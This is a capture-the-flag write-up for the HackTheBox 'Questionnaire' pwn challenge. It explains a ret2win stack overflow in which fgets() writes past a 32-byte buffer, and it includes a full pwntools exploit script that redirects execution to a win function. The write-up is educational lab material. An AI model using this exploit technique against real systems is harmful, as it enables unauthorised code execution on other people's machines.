Questionnaire

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

It's time to learn some things about binaries and basic c. Connect to a remote server and answer some questions to get the flag.

Solution Approach

Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.

Steps

1. Given 2 files, 64 bit binary file and it's source-code.

2. Check the binary's protections.

3. Let us analyze the source-code.

4. It's a simple ret2win challenge, where the buffer variable holds 32 as it's buffer but the fgets() specified that the user can enter up to 256 bytes.

5. We can use this to control the RIP to change the return address to the gg() to get the flag.

6. Let us find the RIP offset.

7. Got the offset at 40, let us grab the gg() address and ret; gadget to align payload we're sending.

THE SCRIPT

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './test'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'

sh = start()

ret = 0x000000000040101a

padding = 40

p = flat([
    asm('nop') * padding,
    ret,
    0x401176
])

sh.sendline(p)

sh.interactive()

LOCALLY

1. We jumped there, let us run it remotely.

2. It's a question, so we don't get the flag by sending our payload (?)

3. Let us answer all of it.

4. Got the flag!

Flag

REDACTED

Lessons Learned

1. Identify the weakness from source review or fingerprinting first.
2. Iterate with incremental payloads instead of guessing.
3. Reuse the same pattern in future engagements.